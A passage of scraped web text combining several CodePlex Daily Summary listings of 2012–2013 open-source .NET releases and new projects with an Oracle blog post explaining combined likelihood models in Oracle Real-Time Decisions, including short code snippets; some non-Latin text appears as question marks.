in a page displaying the original HTTP error code Fixed issue that stopped users from specifying Link URLs that open on a new window Security FixesFixed issue in the Member Directory module that could show members to non authenticated users Fixed issue in the Lists modul...MVC Bootstrap: MVC Boostrap 0.5.6: A small demo site, based on the default ASP.NET MVC 3 project template, showing off some of the features of MVC Bootstrap. Added features to the Membership provider, a "lock out" feature to help fight brute force hacking of accounts. After a set number of log in attempts, the account is locked for a set time. If you download and use this project, please give some feedback, good or bad!OnTopReplica: Release 3.4: Update to the 3 version with major fixes and improvements. Compatible with Windows 8. Now runs (and requires) .NET Framework v.4.0. Added relative mode for region selection (allows the user to select regions as margins from the borders of the thumbnail, useful for windows which have a variable size but fixed size controls, like video players). Improved window seeking when restoring cloned thumbnail or cloning a window by title or by class. Improved settings persistence. Improved co...DotSpatial: DotSpatial 1.4: This is a Minor Release. See the changes in the issue tracker. Minimal -- includes DotSpatial core and essential extensions Extended -- includes debugging symbols and additional extensions Tutorials are available. Just want to run the software? End user (non-programmer) version available branded as MapWindow Want to add your own feature? Develop a plugin, using the template and contribute to the extension feed (you can also write extensions that you distribute in other ways). Components ...AcDown?????: AcDown????? v4.3: ??●AcDown??????????、??、??、???????。????，????，?????????????????????????。???????????Acfun、????(Bilibili)、??、??、YouTube、??、???、??????、SF????、????????????。 ●??????AcPlay?????，??????、????????????????。 ● AcDown??????????????????，????????????????????????????。 ● AcDown???????C#??，????.NET Framework 2.0??。?????"Acfun?????"。 ????32??64? Windows XP/Vista/7/8 ???? 32??64? ???Linux ????(1)????????Windows XP???，????????.NET Framework 2.0???(x86)，?????"?????????"??? (2)???????????Linux???，????????Mono?? ??2...????: ???? 1.0: ????Unicode IVS Add-in for Microsoft Office: Unicode IVS Add-in for Microsoft Office: Unicode IVS Add-in for Microsoft Office ??? ?????、Unicode IVS?????????????????Unicode IVS???????????????。??、??????????????、?????????????????????????????。Microsoft Ajax Minifier: Microsoft Ajax Minifier 4.74: fix for issue #18836 - sometimes throws null-reference errors in ActivationObject.AnalyzeScope method. add back the Context object's 8-parameter constructor, since someone has code that's using it. throw a low-pri warning if an expression statement is == or ===; warn that the developer may have meant an assignment (=). if window.XXXX or window"XXXX" is encountered, add XXXX (as long as it's a valid JavaScript identifier) to the known globals so subsequent references to XXXX won't throw ...???????: Monitor 2012-11-11: This is the first releasehttpclient?????????: httpclient??????? 1.0: httpclient??????? （1）?????????? （2）????????? （3）??2012-11-06??，???????。VidCoder: 1.4.5 Beta: Removed the old Advanced user interface and moved x264 preset/profile/tune there instead. The functionality is still available through editing the options string. Added ability to specify the H.264 level. Added ability to choose VidCoder's interface language. If you are interested in translating, we can get VidCoder in your language! Updated WPF text rendering to use the better Display mode. Updated HandBrake core to SVN 5045. Removed logic that forced the .m4v extension in certain ...ImageGlass: Version 1.5: http://i1214.photobucket.com/albums/cc483/phapsuxeko/ImageGlass/1.png v1.5.4401.3015 Thumbnail bar: Increase loading speed Thumbnail image with ratio Support personal customization: mouse up, mouse down, mouse hover, selected item... Scroll to show all items Image viewer Zoom by scroll, or selected rectangle Speed up loading Zoom to cursor point New background design and customization and others... v1.5.4430.483 Thumbnail bar: Auto move scroll bar to selected image Show / Hi...Building Windows 8 Apps with C# and XAML: Full Source Chapters 1 - 10 for Windows 8 Fix 002: This is the full source from all chapters of the book, compiled and tested on Windows 8 RTM. Includes: A fix for the Netflix example from Chapter 6 that was missing a service reference A fix for the ImageHelper issue (images were not being saved) - this was due to the buffer being inadequate and required streaming the writeable bitmap to a buffer first before encoding and savingmyCollections: Version 2.3.2.0: New in this version : Added TheGamesDB.net API for Games and NDS Added Support for Windows Media Center Added Support for myMovies Added Support for XBMC Added Support for Dune HD Added Support for Mede8er Added Support for WD HDTV Added Fast search options Added order by Artist/Album for music You can now create covers and background for games You can now update your ID3 tag with the info of myCollections Fixed several provider Performance improvement New Splash ...Draw: Draw 1.0: Drawing PadNew ProjectsAelda: a try to implement a multiplayer game. Just for fun and discover principles.Alphalabs - Node Garden: "Source" code for the 2012 Alphalabs "Node Garden" project.Ants silly C experiments.: A series of experiments I have done while learning C.BANANA Platform: BANANA Platform is a set of utilities for ASP.NET and C#. It provides with 4 languages(English, Korean, Chinese and Japanese).Command Line Parser for C++ projects: Register command-line constructs such as parameters and arguments, describe each of them, give command-line examples and bind functors to trigger your logic!CraftLib: CraftLib is a simple, easy to use Minecraft library written in C# (C-Sharp). It is used to perform functions for Minecraft Launchers.Dialector: Using this program, you can convert pure Turkish texts into different dialects; such as: Emmi, Kufurbaz, Kusdili, Laz, Peltek, Tiki, and many more. Just paste any text, select your dialect, and hit "Convert"!Friend's Contact Web System: This is a simple web - based system for sharing and organizing news about incoming events. Not only for friends, but also for companies' members. Hospital Provider: that is a new project for hospital providerMicrosoft DNS Data Collector: A while back I found myself needing a way to analyze and report on the DNS queries that are coming into our company's DNS. Unfortunately short of verbose logging, there is no out of the box method of doing this with Microsoft DNS... Enter the DNS Catcher service.MTG Match Counter: MTG Match Counter is a simple life\match counter, designed for Magic: The Gathering players.NetMemory: let us remember ancestor better!PvrSharp: PvrSharp is a powerfull texture loading and conversion library, focusing on Pvr container textures, written in pure C#.SimpleGallery Orchard Module: SimpleGallery is an Orchard Module that exposes a gallery of images easy to configure and use. Paging and opening effects are available.Smart Device Updater: Provides mechanism for updating assemblies on smart device under WinMobile 5.0 and higher.stylecopmaker: stylecopmakertesttom11152012git01: dsatesttom11152012git02: fdstesttom11152012hg01: hfgtesttom11152012hg02: fdstesttom11152012tfs01: fdstesttom11152012tfs02: fdsThe Hunter - CAU Project: The Hunter is a student project made for the Game Design course for CAU. In this Codeplex Project, your can find the source code, the documentation.TKOctopus: ok laUHDPBS: Computer Science/Software Engineering Class at UH Downtown. Project is a patient billing system.VersionStar - A tool for applying database patches to a database: Apply database patches in an organized way by structuring the way your patches are stored and rigidly determine the order in which they must be applied.Virtual Pro Card: VirtualProCard is a solution to easily and efficiently manage your traditional business cards WordNet C#: The purpose of this project is demonstrate how to query the WordNet database using Microsoft Entity Framework 5 & C#.

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• CodePlex Daily Summary for Saturday, June 29, 2013

  CodePlex Daily Summary for Saturday, June 29, 2013Popular ReleasesAscend 3D: Ascend 2.0.1: Moved model loading into SceneNode.Load static method Updated AscendViewer to use latest Ascend buildUltimate Music Tagger: Ultimate Music Tagger 1.0.0.0: First release of Ultimate Music TaggerBlackJumboDog: Ver5.9.2: 2013.06.28 Ver5.9.2 (1) ??????????(????SMTP?????)?????????? (2) HTTPS???????????SQL Server Data Compare: DB Compare 0.1 Beta 1: Some bugs fixed. Do not forget to add reviews. :)Hogeschool Rotterdam Windows Phone Maps project: HRO Maps Sourcecode VS2010: Initiele versieUniversal Visualnovel Engine Tools: ns2uve: NS2UVE ONS???????? ????：.Net Framework 4.0 ????：UVE for WP8 1.2?? ??：update 2????????！ ????1.?ONS???????????，???????nscript.dat?Icon.png??，???arc.nsa?default.ttf??。 2.??????，????bin??????exe?????dll???????????????。 3.??ns2uve.exe，??????，?????，????????? 4.?????????????.png??? ??：??????????nscript.dat??Icon.png?，??????。?????????????。 ????????????src???? CopyRight W-Otaku DEVAdjusting SharePoint Site Quota PowerShell: Adjusting.SharePoint.Site.Quota: Version 1.0 Features Display Database Size Display Quota Warning Threshold Display Quota Maximum Threshold Display Site Space Usage Change Quota Warning Threshold Change Quota Maximum ThresholdOutlook 2013 Add-In: Configuration Form: This new version includes the following changes: - Refactored code a bit. - Removing configuration from main form to gain more space to display items. - Moved configuration to separate form. You can click the little "gear" icon to access the configuration form (still very simple). - Added option to show past day appointments from the selected day (previous in time, that is). - Added some tooltips. You will have to uninstall the previous version (add/remove programs) if you had installed it ...Terminals: Version 3.0 - Release: Changes since version 2.0:Choose 100% portable or installed version Removed connection warning when running RDP 8 (Windows 8) client Fixed Active directory search Extended Active directory search by LDAP filters Fixed single instance mode when running on Windows Terminal server Merged usage of Tags and Groups Added columns sorting option in tables No UAC prompts on Windows 7 Completely new file persistence data layer New MS SQL persistence layer (Store data in SQL database)...NuGet: NuGet 2.6: Released June 26, 2013. Release notes: http://docs.nuget.org/docs/release-notes/nuget-2.6Python Tools for Visual Studio: 2.0 Beta: We’re pleased to announce the release of Python Tools for Visual Studio 2.0 Beta. Python Tools for Visual Studio (PTVS) is an open-source plug-in for Visual Studio which supports programming with the Python language. PTVS supports a broad range of features including CPython/IronPython, Edit/Intellisense/Debug/Profile, Cloud, HPC, IPython, and cross platform debugging support. For a quick overview of the general IDE experience, please watch this video: http://www.youtube.com/watch?v=TuewiStN...Player Framework by Microsoft: Player Framework for Windows 8 and WP8 (v1.3 beta): Preview: New MPEG DASH adaptive streaming plugin for Windows Azure Media Services Preview: New Ultraviolet CFF plugin. Preview: New WP7 version with WP8 compatibility. (source code only) Source code is now available via CodePlex Git Misc bug fixes and improvements: WP8 only: Added optional fullscreen and mute buttons to default xaml JS only: protecting currentTime from returning infinity. Some videos would cause currentTime to be infinity which could cause errors in plugins expectin...AssaultCube Reloaded: 2.5.8: SERVER OWNERS: note that the default maprot has changed once again. Linux has Ubuntu 11.10 32-bit precompiled binaries and Ubuntu 10.10 64-bit precompiled binaries, but you can compile your own as it also contains the source. If you are using Mac or other operating systems, please wait while we continue to try to package for those OSes. Or better yet, try to compile it. If it fails, download a virtual machine. The server pack is ready for both Windows and Linux, but you might need to compi...Microsoft Ajax Minifier: Microsoft Ajax Minifier 4.95: update parser to allow for CSS3 calc( function to nest. add recognition of -pponly (Preprocess-Only) switch in AjaxMinManifestTask build task. Fix crashing bug in EXE when processing a manifest file using the -xml switch and an error message needs to be displayed (like a missing input file). Create separate Clean and Bundle build tasks for working with manifest files (AjaxMinManifestCleanTask and AjaxMinBundleTask). Removed the IsCleanOperation from AjaxMinManifestTask -- use AjaxMinMan...VG-Ripper & PG-Ripper: VG-Ripper 2.9.44: changes NEW: Added Support for "ImgChili.net" links FIXED: Auto UpdaterDocument.Editor: 2013.25: What's new for Document.Editor 2013.25: Improved Spell Check support Improved User Interface Minor Bug Fix's, improvements and speed upsWPF Composites: Version 4.3.0: In this Beta release, I broke my code out into two separate projects. There is a core FasterWPF.dll with the minimal required functionality. This can run with only the Aero.dll and the Rx .dll's. Then, I have a FasterWPFExtras .dll that requires and supports the Extended WPF Toolkit™ Community Edition V 1.9.0 (including Xceed DataGrid) and the Thriple .dll. This is for developers who want more . . . Finally, you may notice the other OPTIONAL .dll's available in the download such as the Dyn...Channel9's Absolute Beginner Series: Windows Phone 8: Entire source code for the Channel 9 series, Windows Phone 8 Development for Absolute Beginners.Indent Guides for Visual Studio: Indent Guides v13: ImportantThis release does not support Visual Studio 2010. The latest stable release for VS 2010 is v12.1. Version History Changed in v13 Added page width guide lines Added guide highlighting options Fixed guides appearing over collapsed blocks Fixed guides not appearing in newly opened files Fixed some potential crashes Fixed lines going through pragma statements Various updates for VS 2012 and VS 2013 Removed VS 2010 support Changed in v12.1: Fixed crash when unable to start...Fluent Ribbon Control Suite: Fluent Ribbon Control Suite 2.1.0 - Prerelease d: Fluent Ribbon Control Suite 2.1.0 - Prerelease d(supports .NET 3.5, 4.0 and 4.5) Includes: Fluent.dll (with .pdb and .xml) Showcase Application Samples (not for .NET 3.5) Foundation (Tabs, Groups, Contextual Tabs, Quick Access Toolbar, Backstage) Resizing (ribbon reducing & enlarging principles) Galleries (Gallery in ContextMenu, InRibbonGallery) MVVM (shows how to use this library with Model-View-ViewModel pattern) KeyTips ScreenTips Toolbars ColorGallery *Walkthrough (do...New ProjectsA sample web app for AppHarbor: Just a little project to test the amazing apphorbor offering!Android_Traffic_Tracker: Android traffic trackingEASTester: EASTester This application shows how encoding, decoding and submission of Exchange Server ActiveSync (EAS) calls might be done. Everynet_TFS_SVN: this is a everynet projectFluentRoute: Make the task of configure ASP.NET MVC Routes much more easier! This lib gives you the possibility of using Fluent Configurafion,style.Google Music for Jamcast: This project adds Google Music browse and playback capabilities to Jamcast, a DLNA media server for Windows.GussanoExtension: My summaryHL7 SDK - Open Source CDA R2 Implemenation for .NET and COM: A set of open source libraries for creating, parsing, storing and converting HL7 Clinical Documents in .NET and COM environment.Hogeschool Rotterdam Windows Phone Maps project: Dit is een project gemaakt voor het vak INFPRJ07DT voor de Hogeschool Rotterdam. Hue For Both (Build 2013): A simple MVVM project for controlling Philips Hue lights on Windows 8 and Windows Phone 8.Key2Screen: This little helper will show all keystrokes on screen. This will be needed during a Kata to show the audience the uses keyboard shortcuts or to record them.MercerGOLD: A tool for managing information on worldwide employee benefits, compensation and human resource programs.Microsoft CRM 2011 True Unique Autonumber Creator: The Microsoft CRM 2011 True Unique Autonumber Creator provides functionality for generating unique numbers for any entity. Work for On-Premises and Online/CloudNewsAlerts: this is news ALERT PROJECTNTmdb: A wrapper for the TMDb API written in C# .Net 4.5.PowerShellCron: Windows Service to Schedule and Run PowerShell Scripts with Full Logging to Database of script output (all streams, including Write-Host).QlikView Extension - WebPageViewer2: QlikView Extension to display a web page in QlikView.Restafari - The REST Client Base: A REST Client base for your .Net projects. It is compatible with: - .Net 4.5 - .Net 4.0 - Windows Phone 8 - Windows Store applicationsRevolution Of SnowWhite: PC??????SharePoint Silverlight CSV Importer: Convert .csv data into SharePoint list items. A slick Silverlight control to map and import a .csv files to a sharepoint list. Includes transforms and keys.Silverlight AWS S3 Uploader: Silverlight 5 app to upload files to AWS S3SIM Card Manager: A Windows tool to read SIM card information and contentSoCafeShop: SoCafeShopTeam Foundation Server 2012 Sample Work Items for MSF Agile, CMMI, & SCRUM: This project provides sample work items that can be used in your MSF Agile, MSF CMMI, or SCRUM 2.0 Process Templaces in Team Foundation Server 2012.TidyVaca - an SF inspired restyle of the Tidy responsive Skin by Adammer: A San Francisco inspired restyling of Adammer's Tidy responsive skin.Tiny Forms Controls: The goal of this project is to create a library of Windows Forms and Web Forms controls and components.TMYS: Deneme projesi önemli bir sey degil

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• CodePlex Daily Summary for Saturday, October 05, 2013

  CodePlex Daily Summary for Saturday, October 05, 2013Popular ReleasesEvent-Based Components AppBuilder: AB3.Iteration.53: Iteration 53 (Feature): Allow drag&drop of existing component (flow, step) from component list to chart. Duplicate names are automatically recognized and solved. By the color of the draged component you can see what kind of component (flow or step) is currently draged. New: AddExistingComponentFlow, PartDragDropEventHandler, ExistingStepPreparerLearning JQuery 1.3 And Above Examples: jQuery Demo whats got Added in 1.8: Getting Startedhttp://jqdemos.darshanmarathe.com Getting JQueryJQuery CDN Google Click Microsoft Click Media Temple Click Creating your first page Show/Hide JavaScript fundamentals JavaScript as a Scripting language JavaScript as a functional programming language JavaScript as a dynamic programming language Selectors CSS Selectors Attribute Selectors Custom Selectors Form Selectors Events Page Load/Ready Events Binding Events Compund Events Tricks and other fundas Effects Inline css Modi...Pulse: Pulse 0.6.7.3: Pulse is now accepting donations. To donate by Bitcoin or PayPal see https://pulse.codeplex.com/wikipage?title=Donations Lots of updates in v0.6.7.3: (Feature) New option allows you to disable wallpaper changing when a full screen application is running. This way Pulse doesn't slow down/lag your videos and games :) (Fix) Some users were getting Wallbase errors when logging in. This has been fixed. (Feature) Right click a provider and you can now make a copy of it by selecting the "Dupl...Upida.Net: Upida.Net 2.2: Example "MyClients" fixed and updated Redundant libraries removed in examples References fixed in examplesCompare .NET Objects: Version 1.7.3.0: Fix for problem with enum showing type in the breadcrumb Changed skip of same class from GetHashCode to use ReferenceEquals Applied patch 15082 from FarrisMoreTerra (Terraria World Viewer): MoreTerra 1.11.1: Release 1.11.1 =========== =Bug Fixes= =========== Added more tile blocks (Clouds, crimstone) Added items (binoculars, rope, Pirahna Gun) Added ores (Lead, Tin) Chests now work, I broke them yesterday. =============== =Known Issues= =============== I am having trouble with new background walls. So you will see a red outline for crimson then a pink inside. Same with where I think the queen bee lives.VG-Ripper & PG-Ripper: PG-Ripper 1.4.19: NEW: Added Option to login as Guest NEW: Added Menu Option to delete an Forum Account NEW: Added Support for "ImageTeam.org links FIXED: Fixed Ripping of http://forum.babeunion.com ForumsBeetle.js: Beetle.js v0.9: Beetle.js Beta v0.9DNN® Form and List: DNN Form and List 06.00.07: DotNetNuke Form and List 06.00.06 Changes to 6.0.7•Fixed an error in datatypes.config that caused calculated fields to be missing in 6.0.6 Changes to 6.0.6•Add in Sql to remove 'text on row' setting for UserDefinedTable to make SQL Azure compatible. •Add new azureCompatible element to manifest. •Added a fix for importing templates. Changes to 6.0.2•Fix: MakeThumbnail was broken if the application pool was configured to .Net 4 •Change: Data is now stored in nvarchar(max) instead of ntext C...Trace Reader for Microsoft Dynamics CRM: Trace Reader (1.2013.10.3): Fix a bug when the first caracter of a description line is '[' Add search featureSimpleExcelReportMaker: Serm 0.03: SourceCode and Sample .Net Framework 3.5 AnyCPU compile.Application Architecture Guidelines: App Architecture Guidelines 3.0.8: This document is an overview of software qualities, principles, patterns, practices, tools and libraries.BlackJumboDog: Ver5.9.6: 2013.09.30 Ver5.9.6 (1)SMTP???????、???????????????? (2)WinAPI??????? (3)Web???????CGI???????????????????????Microsoft Ajax Minifier: Microsoft Ajax Minifier 5.2: Mostly internal code tweaks. added -nosize switch to turn off the size- and gzip-calculations done after minification. removed the comments in the build targets script for the old AjaxMin build task (discussion #458831). Fixed an issue with extended Unicode characters encoded inside a string literal with adjacent \uHHHH\uHHHH sequences. Fixed an IndexOutOfRange exception when encountering a CSS identifier that's a single underscore character (_). In previous builds, the net35 and net20...AJAX Control Toolkit: September 2013 Release: AJAX Control Toolkit Release Notes - September 2013 Release (Updated) Version 7.1002September 2013 release of the AJAX Control Toolkit. AJAX Control Toolkit .NET 4.5 – AJAX Control Toolkit for .NET 4.5 and sample site (Recommended). AJAX Control Toolkit .NET 4 – AJAX Control Toolkit for .NET 4 and sample site (Recommended). AJAX Control Toolkit .NET 3.5 – AJAX Control Toolkit for .NET 3.5 and sample site (Recommended). Important UpdateThis release has been updated to fix two issues: Upda...WDTVHubGen - Adds Metadata, thumbnails and subtitles to WDTV Live Hubs: WDTVHubGen.v2.1.4.apifix-alpha: WDTVHubGen.v2.1.4.apifix-alpha is for testers to figure out if we got the NEW api plugged in ok. thanksVisual Log Parser: VisualLogParser: Portable Visual Log Parser for Dotnet 4.0AudioWordsDownloader: AudioWordsDownloader 1.1 build 88: New features list of words (mp3 files) is available upon typing when a download path is defined list of download paths is added paths history settings added Bug fixed case mismatch in word search field fixed path not exist bug fixed when history has been used path, when filled from dialog, not stored refresh autocomplete list after path change word sought is deleted when path is changed at the end sought word list is deleted word list not refreshed download ends. word lis...Wsus Package Publisher: Release v1.3.1309.28: Fix a bug, where WPP crash when running on a computer where Windows was installed in another language than Fr, En or De, and launching the Update Creation Wizard. Fix a bug, where WPP crash if some Multi-Thread job are launch with more than 64 items. Add a button to abort "Install This Update" wizard. Allow WPP to remember which columns are shown last time. Make URL clickable on the Update Information Tab. Add a new feature, when Double-Clicking on an update, the default action exec...Tweetinvi a friendly Twitter C# API: Alpha 0.8.3.0: Version 0.8.3.0 emphasis on the FIlteredStream and ease how to manage Exceptions that can occur due to the network or any other issue you might encounter. Will be available through nuget the 29/09/2013. FilteredStream Features provided by the Twitter Stream API - Ability to track specific keywords - Ability to track specific users - Ability to track specific locations Additional features - Detect the reasons the tweet has been retrieved from the Filtered API. You have access to both the ma...New ProjectsC# GUI Oscillocope: c# oscilloscope gui programmingDefinitive Business Management: Business ManagementEnough Connectivity: Enough Connectivity eases the access to Bluetooth and other devices that are connected via the SerialPort on Netduino, .NET Gadgeteer or .NET Micro Framework.Excel add-in for the Intel Math Kernel Library: Expose Intel MKL functionality in Excel.Fix SP 2013 Multitenant Missing BCS and SSS Links: This Project fixes 3 issues in SP 2013 Enterprise Multitenancygaragemanagement: Auto Garage Management SoftwareHost: YibushanrenIRSystem: it's a development project for user activitiesKSP Vessel Viewer: A tiny tool to display craft-file informationLerniXml: Learning XML (+ related technologies)lkasdjlkaslkdljkasd: aPersonal Accountant: Simple and flexible web service for personal finance accounting.Quan Ly Nha Hang: Qu?n lý nhà hàngTicTacToe Ultimate: Services for Score board for Tic Tac Toe game like, but harder and more interesting.Unconfused Bills .net: Unconfuse your bills with this Google Calendar integrated budgeting toolVisual Studio 2010 Extensions - Mike Parks & Cory Cissell: Source code to the extensions Cory and I made a few years back.

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• Combined Likelihood Models

  - by Lukas Vermeer

  In a series of posts on this blog we have already described a flexible approach to recording events, a technique to create analytical models for reporting, a method that uses the same principles to generate extremely powerful facet based predictions and a waterfall strategy that can be used to blend multiple (possibly facet based) models for increased accuracy. This latest, and also last, addition to this sequence of increasing modeling complexity will illustrate an advanced approach to amalgamate models, taking us to a whole new level of predictive modeling and analytical insights; combination models predicting likelihoods using multiple child models. The method described here is far from trivial. We therefore would not recommend you apply these techniques in an initial implementation of Oracle Real-Time Decisions. In most cases, basic RTD models or the approaches described before will provide more than enough predictive accuracy and analytical insight. The following is intended as an example of how more advanced models could be constructed if implementation results warrant the increased implementation and design effort. Keep implemented statistics simple! Combining likelihoods Because facet based predictions are based on metadata attributes of the choices selected, it is possible to generate such predictions for more than one attribute of a choice. We can predict the likelihood of acceptance for a particular product based on the product category (e.g. ‘toys’), as well as based on the color of the product (e.g. ‘pink’). Of course, these two predictions may be completely different (the customer may well prefer toys, but dislike pink products) and we will have to somehow combine these two separate predictions to determine an overall likelihood of acceptance for the choice. Perhaps the simplest way to combine multiple predicted likelihoods into one is to calculate the average (or perhaps maximum or minimum) likelihood. However, this would completely forgo the fact that some facets may have a far more pronounced effect on the overall likelihood than others (e.g. customers may consider the product category more important than its color). We could opt for calculating some sort of weighted average, but this would require us to specify up front the relative importance of the different facets involved. This approach would also be unresponsive to changing consumer behavior in these preferences (e.g. product price bracket may become more important to consumers as a result of economic shifts). Preferably, we would want Oracle Real-Time Decisions to learn, act upon and tell us about, the correlations between the different facet models and the overall likelihood of acceptance. This additional level of predictive modeling, where a single supermodel (no pun intended) combines the output of several (facet based) models into a single prediction, is what we call a combined likelihood model. Facet Based Scores As an example, we have implemented three different facet based models (as described earlier) in a simple RTD inline service. These models will allow us to generate predictions for likelihood of acceptance for each product based on three different metadata fields: Category, Price Bracket and Product Color. We will use an Analytical Scores entity to store these different scores so we can easily pass them between different functions. A simple function, creatively named Compute Analytical Scores, will compute for each choice the different facet scores and return an Analytical Scores entity that is stored on the choice itself. For each score, a choice attribute referring to this entity is also added to be returned to the client to facilitate testing. One Offer To Predict Them All In order to combine the different facet based predictions into one single likelihood for each product, we will need a supermodel which can predict the likelihood of acceptance, based on the outcomes of the facet models. This model will not need to consider any of the attributes of the session, because they are already represented in the outcomes of the underlying facet models. For the same reason, the supermodel will not need to learn separately for each product, because the specific combination of facets for this product are also already represented in the output of the underlying models. In other words, instead of learning how session attributes influence acceptance of a particular product, we will learn how the outcomes of facet based models for a particular product influence acceptance at a higher level. We will therefore be using a single All Offers choice to represent all offers in our combined likelihood predictions. This choice has no attribute values configured, no scores and not a single eligibility rule; nor is it ever intended to be returned to a client. The All Offers choice is to be used exclusively by the Combined Likelihood Acceptance model to predict the likelihood of acceptance for all choices; based solely on the output of the facet based models defined earlier. The Switcheroo In Oracle Real-Time Decisions, models can only learn based on attributes stored on the session. Therefore, just before generating a combined prediction for a given choice, we will temporarily copy the facet based scores—stored on the choice earlier as an Analytical Scores entity—to the session. The code for the Predict Combined Likelihood Event function is outlined below. // set session attribute to contain facet based scores. // (this is the only input for the combined model) session().setAnalyticalScores(choice.getAnalyticalScores); // predict likelihood of acceptance for All Offers choice. CombinedLikelihoodChoice c = CombinedLikelihood.getChoice("AllOffers"); Double la = CombinedLikelihoodAcceptance.getChoiceEventLikelihoods(c, "Accepted"); // clear session attribute of facet based scores. session().setAnalyticalScores(null); // return likelihood. return la; This sleight of hand will allow the Combined Likelihood Acceptance model to predict the likelihood of acceptance for the All Offers choice using these choice specific scores. After the prediction is made, we will clear the Analytical Scores session attribute to ensure it does not pollute any of the other (facet) models. To guarantee our combined likelihood model will learn based on the facet based scores—and is not distracted by the other session attributes—we will configure the model to exclude any other inputs, save for the instance of the Analytical Scores session attribute, on the model attributes tab. Recording Events In order for the combined likelihood model to learn correctly, we must ensure that the Analytical Scores session attribute is set correctly at the moment RTD records any events related to a particular choice. We apply essentially the same switching technique as before in a Record Combined Likelihood Event function. // set session attribute to contain facet based scores // (this is the only input for the combined model). session().setAnalyticalScores(choice.getAnalyticalScores); // record input event against All Offers choice. CombinedLikelihood.getChoice("AllOffers").recordEvent(event); // force learn at this moment using the Internal Dock entry point. Application.getPredictor().learn(InternalLearn.modelArray, session(), session(), Application.currentTimeMillis()); // clear session attribute of facet based scores. session().setAnalyticalScores(null); In this example, Internal Learn is a special informant configured as the learn location for the combined likelihood model. The informant itself has no particular configuration and does nothing in itself; it is used only to force the model to learn at the exact instant we have set the Analytical Scores session attribute to the correct values. Reporting Results After running a few thousand (artificially skewed) simulated sessions on our ILS, the Decision Center reporting shows some interesting results. In this case, these results reflect perfectly the bias we ourselves had introduced in our tests. In practice, we would obviously use a wider range of customer attributes and expect to see some more unexpected outcomes. The facetted model for categories has clearly picked up on the that fact our simulated youngsters have little interest in purchasing the one red-hot vehicle our ILS had on offer. Also, it would seem that customer age is an excellent predictor for the acceptance of pink products. Looking at the key drivers for the All Offers choice we can see the relative importance of the different facets to the prediction of overall likelihood. The comparative importance of the category facet for overall prediction might, in part, be explained by the clear preference of younger customers for toys over other product types; as evident from the report on the predictiveness of customer age for offer category acceptance. Conclusion Oracle Real-Time Decisions' flexible decisioning framework allows for the construction of exceptionally elaborate prediction models that facilitate powerful targeting, but nonetheless provide insightful reporting. Although few customers will have a direct need for such a sophisticated solution architecture, it is encouraging to see that this lies within the realm of the possible with RTD; and this with limited configuration and customization required. There are obviously numerous other ways in which the predictive and reporting capabilities of Oracle Real-Time Decisions can be expanded upon to tailor to individual customers needs. We will not be able to elaborate on them all on this blog; and finding the right approach for any given problem is often more difficult than implementing the solution. Nevertheless, we hope that these last few posts have given you enough of an understanding of the power of the RTD framework and its models; so that you can take some of these ideas and improve upon your own strategy. As always, if you have any questions about the above—or any Oracle Real-Time Decisions design challenges you might face—please do not hesitate to contact us; via the comments below, social media or directly at Oracle. We are completely multi-channel and would be more than glad to help. :-)

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• CodePlex Daily Summary for Monday, June 24, 2013

  CodePlex Daily Summary for Monday, June 24, 2013Popular ReleasesVG-Ripper & PG-Ripper: VG-Ripper 2.9.43: changes NEW: Added Support for "ImageJumbo.com" links NEW: Added Support for "ImgTiger.com" links NEW: Added Support for "ImageDax.net" links NEW: Added Support for "HosterBin.com" links FIXED: "ImgServe.net" linksWPF Composites: Version 4.3.0: In this Beta release, I broke my code out into two separate projects. There is a core FasterWPF.dll with the minimal required functionality. This can run with only the Aero.dll and the Rx .dll's. Then, I have a FasterWPFExtras .dll that requires and supports the Extended WPF Toolkit™ Community Edition V 1.9.0 (including Xceed DataGrid) and the Thriple .dll. This is for developers who want more . . . Finally, you may notice the other OPTIONAL .dll's available in the download such as the Dyn...Windows.Forms.Controls Revisited (SSTA.WinForms): SSTA.WinForms 1.0.0: Latest stable releaseAscend 3D: Ascend 2.0: Release notes: Implemented bone/armature animation Refactored class hierarchy and naming Addressed high CPU usage issue during animation Updated the Blender exporter and Ascend model format (now XML) Created AscendViewer, a tool for viewing Ascend modelsIndent Guides for Visual Studio: Indent Guides v13: ImportantThis release does not support Visual Studio 2010. The latest stable release for VS 2010 is v12.1. Version History Changed in v13 Added page width guide lines Added guide highlighting options Fixed guides appearing over collapsed blocks Fixed guides not appearing in newly opened files Fixed some potential crashes Fixed lines going through pragma statements Various updates for VS 2012 and VS 2013 Removed VS 2010 support Changed in v12.1: Fixed crash when unable to start...Fluent Ribbon Control Suite: Fluent Ribbon Control Suite 2.1.0 - Prerelease d: Fluent Ribbon Control Suite 2.1.0 - Prerelease d(supports .NET 3.5, 4.0 and 4.5) Includes: Fluent.dll (with .pdb and .xml) Showcase Application Samples (not for .NET 3.5) Foundation (Tabs, Groups, Contextual Tabs, Quick Access Toolbar, Backstage) Resizing (ribbon reducing & enlarging principles) Galleries (Gallery in ContextMenu, InRibbonGallery) MVVM (shows how to use this library with Model-View-ViewModel pattern) KeyTips ScreenTips Toolbars ColorGallery *Walkthrough (do...Magick.NET: Magick.NET 6.8.5.1001: Magick.NET compiled against ImageMagick 6.8.5.10. Breaking changes: - MagickNET.Initialize has been made obsolete because the ImageMagick files in the directory are no longer necessary. - MagickGeometry is no longer IDisposable. - Renamed dll's so they include the platform name. - Image profiles can now only be accessed and modified with ImageProfile classes. - Renamed DrawableBase to Drawable. - Removed Args part of PathArc/PathCurvetoArgs/PathQuadraticCurvetoArgs classes. The...Three-Dimensional Maneuver Gear for Minecraft: TDMG 1.1.0.0 for 1.5.2: CodePlex???(????????) ?????????(???1/4) ??????????? ?????????? ???????????(??????????) ??????????????????????? ↑????、?????????????????????(???????) ???、??????????、?????????????????????、????????1.5?????????? Shift+W(????)??????????????????10°、?10°(?????????)???Hyper-V Management Pack Extensions 2012: HyperVMPE2012 (v1.0.1.126): Hyper-V Management Pack Extensions 2012 Beta ReleaseOutlook 2013 Add-In: Email appointments: This new version includes the following changes: - Ability to drag emails to the calendar to create appointments. Will gather all the recipients from all the emails and create an appointment on the day you drop the emails, with the text and subject of the last selected email (if more than one selected). - Increased maximum of numbers to display appointments to 30. You will have to uninstall the previous version (add/remove programs) if you had installed it before. Before unzipping the file...Caliburn Micro: WPF, Silverlight, WP7 and WinRT/Metro made easy.: Caliburn.Micro v1.5.2: v1.5.2 - This is a service release. We've fixed a number of issues with Tasks and IoC. We've made some consistency improvements across platforms and fixed a number of minor bugs. See changes.txt for details. Packages Available on Nuget Caliburn.Micro – The full framework compiled into an assembly. Caliburn.Micro.Start - Includes Caliburn.Micro plus a starting bootstrapper, view model and view. Caliburn.Micro.Container – The Caliburn.Micro inversion of control container 